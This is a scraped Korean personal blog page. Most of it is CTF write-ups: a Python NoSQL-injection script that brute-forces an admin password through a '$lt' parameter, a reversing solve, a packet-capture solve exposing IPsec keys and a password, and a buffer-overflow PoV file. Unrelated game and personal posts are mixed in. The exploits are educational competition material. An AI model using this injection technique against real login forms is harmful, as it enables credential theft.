shpik's world!

[Web] Get the admin password! - 100pts

0x400 CTF/0x401 MMA 1st 2015



This Problem is very Simple NoSQL injection.



# exploit.py
import urllib2
import urllib
URL = "http://gap.chal.ctf.westerns.tokyo/login.php"

result = ""
for i in range(100):
	for j in range(0x20,0x90):
		data = {'user' : 'admin', 'password[$lt]' : result+chr(j)}
		data = urllib.urlencode(data)
		req = urllib2.Request(URL,data)
		res = urllib2.urlopen(req)
		if res.read().find("Wrong user name or password")>10:
			continue
		else:
			result += chr(j-1)
			print result
			break
'''
shpik@shpik:/ctf/MMA/web/gap$ python exploit.py 
T
TW
TWC
TWCT
TWCTF
TWCTF{
TWCTF{w
TWCTF{wa
TWCTF{was
TWCTF{wass
TWCTF{wassh
TWCTF{wassho
TWCTF{wasshoi
TWCTF{wasshoi!
TWCTF{wasshoi!s
TWCTF{wasshoi!su
TWCTF{wasshoi!sum
TWCTF{wasshoi!summ
TWCTF{wasshoi!summe
TWCTF{wasshoi!summer
TWCTF{wasshoi!summer_
TWCTF{wasshoi!summer_f
TWCTF{wasshoi!summer_fe
TWCTF{wasshoi!summer_fes
TWCTF{wasshoi!summer_fest
TWCTF{wasshoi!summer_festi
TWCTF{wasshoi!summer_festiv
TWCTF{wasshoi!summer_festiva
TWCTF{wasshoi!summer_festival
TWCTF{wasshoi!summer_festival!
TWCTF{wasshoi!summer_festival!}
'''


'0x400 CTF > 0x401 MMA 1st 2015' 카테고리의 다른 글

[Crypto] Twin Prime - 50pts  (0) 2016.09.05
[Web] Global Page - 50pts  (0) 2016.09.05
[Web] Get the admin password! - 100pts  (0) 2016.09.05
[Web] Mortal Magi Agents - 300pts  (0) 2015.09.09
[Web] Login as admin! - 30pts  (0) 2015.09.08

[Rookiss] Tiny_easy

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

[Don't Starve Together] A New Reign- East or West, Base is Best

0x000 Life/0x001 News


A New Reign의 첫번째 업데이트가 완료되었습니다.



변경점


미니맵 데이터는 서버에 저장됩니다.

나무 그루터기와 탄 나무 아이콘이 미니맵에 새로 추가되었습니다.

플레이어간 나침반을 장착하면 미니맵을 통해 서로의 위치를 알 수 있습니다.

미니맵에서 특정한 지점이나 영역을 밝힐 수 있는 몇몇의 마법 아이템이 추가되었습니다.

향상된 질병에 관한 애니메이션과 이펙트.

옮겨진 식물은 질병의 대상이 될 수 있으며, 질병을 제거하거나 없애지 않으면 근처 식물에게 천천히 전염됩니다.

질병은 드물고 예측할수 없지만, 재앙이 오기전에 플레이어에게 위험 신호가 나타난다.

지형은 더 이상 질병 면역을 제공하지 않는다.

질병과 석화는 월드 사용자 설정에서 변경할 수 있다.


Bug Fixed


Player Minimaps will now load properly when rejoining a server from a different machine.

Caves Minimap is now properly cleared when a player dies in Wilderness mode.



A New Reign 플레이 방법


1. 스팀에서 라이브러리 > 게임로 이동한다.
2. 돈 스타브 투게터(Don't Starve Together)를 마우스 오른쪽 클릭하여 속성선택.

3. 속성 창에서 베타 탭으로 이동하여 anewreignbeta를 선택한다.   
4. 속성에서 로컬파일로 이동하여  "게임 캐시 무결성 확인..."을 클릭
5. 이제 게임을 즐기면 된다!


[던파] 자캐 선물받았다!

0x000 Life/0x003 etc


여자친구가 던파 자케를 그려줬습니다!




으 마도학자 각성이펙트가 무슨 현자의 돌이라는 빨간이상한 거 ㅂㅈㄷㅍㅂㄷㅍㅂㅈㄷㅍㅁㄴㅇㅁㄴㅍ


개노답 ㅂㄷㅂㄷ

인간적으로 각성 이펙트 변경하자 네오플






그래도 목걸이로 바꿔서 그려줘서 만족만족


마치 헬도는대 아무것도 나오지 않다가 마지막 피로도에 에픽나온 기분




좋은 퀄로 그려준 여자친구에게 감사의 말을 올립니다.







원본 링크(http://blog.naver.com/co_nov/220783849869)


'0x000 Life > 0x003 etc' 카테고리의 다른 글

[던파] 자캐 선물받았다!  (0) 2016.08.10

[TrendMicroCTF 2016] Reversing -100pts

0x400 CTF

주어진 dataloss파일을 ida를 통해 열어보았고 뭔가 문자열을 때려 박는거 같은 sub_278함수를 찾았다.

이 함수의 호출을 다음과 같이 알아보았다.


[ sub_468 ]

[ loc_614 ]


[ sub_26E0 ]


sub_278을 호출할 때, sub_468의 인자값(arg_0)를 넘긴다.

sub_468을 호출할 때는 sub_26E0의 리턴 값의 포인터 값을 이용해 호출한다.

sub_26E0은 413D14h값을 리턴한다.

우선 sub_278에서 떄려박은 값들을 모아보았다.



sub_278을 호출할 때 인자값은 알기 어려울거 같아 플래그 양식인 TMCTF{~~}에 맞춰 첫번째 문자 K가 T가 나오게 만들어지도록 각 값에 +9를 파이썬을 이용해 계산해보았다.


shpik@shpik:/ctf/trend/reversing$ python

Python 2.7.11+ (default, Apr 17 2016, 14:00:29) 

[GCC 5.3.1 20160413] on linux2

Type "help", "copyright", "credits" or "license" for more information.

>>> a = [0x4B,0x44,0x3A,0x3D,0x72,0x74,0x5B,0x58,0x6B,0x58,0x63,0x66,0x6A,0x6A,0x6E,0x66,0x65,0x6B,0x6A,0x6B,0x66,0x67,0x6C,0x6A]

>>> ''.join([chr(i+9) for i in a])

'TMCF{}datalosswontstopus'


[TrendMicroCTF 2016] Misc -100pts

0x400 CTF

문제로써 tcpdump파일이 주어졌다.

이를 wireshark를 이용해 열어보았다.



ISAKMP, ARP, ESP, TELNET등...의 protocol통신을 함을 알 수 있고, telnet의 경우는 통신한 내용을 그대로 확인 할 수 있으므로, Follow TCP Stream을 통해 통신 내용을 확인 해 보았다.


위와 같은 Follow TCP Stream의 내용 중에 아래와 같은 명령어를 통해 ESP를 decrypt할 수 있는 키 값을 얻을 수 있다.

.]0;reds@localhost:~.[reds@localhost ~]$ sudo ip xfrm state

.sudo ip xfrm state

[sudo] password for reds: ynwa

.

src 1.1.1.11 dst 1.1.1.10

.proto esp spi 0xfab21777 reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x11cf27c5b3357a5fd5d26d253fffd5339a99b4d1

.enc cbc(aes) 0xfa19ff5565b1666d3dd16fcfda62820da44b2b51672a85fed155521bedb243ee

src 1.1.1.10 dst 1.1.1.11

.proto esp spi 0xbfd6dc1c reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x829b457814bd8856e51cce1d745619507ca1b257

.enc cbc(aes) 0x2a340c090abec9186c841017714a233fba6144b3cb20c898db4a30f02b0a003d

src 1.1.1.10 dst 1.1.1.11

.proto esp spi 0xeea1503c reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x951d2d93498d2e7479c28c1bcc203ace34d7fcde

.enc cbc(aes) 0x6ec6072dd25a6bcb7b9b3b516529acb641a1b356999f791eb971e57cc934a5eb

src 1.1.1.11 dst 1.1.1.10

.proto esp spi 0xd4d2074d reqid 16389 mode tunnel

.replay-window 32 flag 20

.auth hmac(sha1) 0x100a0b23fc006c867455506843cc96ad26026ec0

.enc cbc(aes) 0xdcfbc7d33d3c606de488c6efac4624ed50b550c88be0d62befb049992972cca6


이를 wireshark을 통해 ESP프로토콜로 통신한 내용을 decrypt해보면 아래와 같이 나옴을 알 수 있다.


[ decrypt 전 ]

[  decrypt 후 ]

decrypt후의 패킷을 보면 /img/flag.png를 확인할 수 있다.

이를 추출하면 아래와 같은 flag를 얻을 수 있다.


[ flag.png ]

Secuinside 2016 후기

0x400 CTF/0x402 Secuinside 2016


우선 수고해주신 인하대 init 팀원들에게 감사를 전합니다.


처음에 CGC문제를 봤을 때 뭔 거지같은 문제지 라고 생각했는데 꾸역꾸역 엄청난 시간의 삽질 결과 CGC문제를 전부다 풀게 되었고,


Web은 trendy~ 100점 하나밖에 못 풀었는데,


Web 250점 SBBS는 template injection을 알고 있음에도 못 푼것이 화가 나고,

Pwn 400점 Ownmyweb은 XXE까지는 좋았으나, 그 뒤에 뭘 할지 모르는 상황이었다.


결론은 실력 부족을 많이 느낀 대회였으며, 다시 공부를 해야겠다.


'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13

[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts

0x400 CTF/0x402 Secuinside 2016



문제에 대한 정보이다.


이 문제는 CGC이며 https://github.com/CyberGrandChallenge 에서 정보를 얻을 수 있었다.


CYKOR_00001은 cykor_00001파일에 대한 취약점을 PoV로 만들어 서버에 보내는 문제이다.

CYKOR_00001_patch는 cykor_00001파일에 대한 취약점을 패치한 파일을 서버에 보내는 문제이다.


IDA를 통해 분석한 결과, What is your message?다음에 H4PPY_S3CUINSID3라는 문자열이 나오는지 체크 한 후

+ Are you serious? 다음에 문자열을 입력 받는다.


조건에 맞춰 긴 문자열을 입력할 시 다음과 같은 segmentation fault가 일어남을 확인하였고, gdb를 통해 디버깅한 결과 eip가 덮어져 bof취약점이 있음을 확인하였다.




이를 토대로 만든 PoV파일은 다음과 같다.

<!-- CYKOR_00001.PoV -->

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE pov SYSTEM "/usr/share/cgc-docs/replay.dtd">
<pov>
<cbid>CYKOR_00001</cbid>
<replay>
    <read echo="yes"><delim>\x0a</delim><match><data>What is your message?\x0a</data></match></read>
    <write echo="yes"><data>H4PPY_S3CUINSID3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGG111122223333444455556666777788889900001111\x0a</data>
    </write>
<read><length>1</length></read>
</replay>
</pov>

이를 서버에 전송하여 CYKOR_00001의 flag를 얻었다.


위에서 찾은 bof발생 지점이 0x80사이즈 만큼 가져오기에 일어나는데 이를 0x40로 바이너리 패치하여 서버에 보내주면 CYKOR_00002_patch의 flag를 얻을 수 있다.


현재 서버가 닫혀서 사진을 구할 수가 없다.

'0x400 CTF > 0x402 Secuinside 2016' 카테고리의 다른 글

Secuinside 2016 후기  (0) 2016.07.13
[CGC] CYKOR_00001, CYKOR_00001_patch - each 100pts  (0) 2016.07.13
[Web] trendyweb - 100pts  (0) 2016.07.13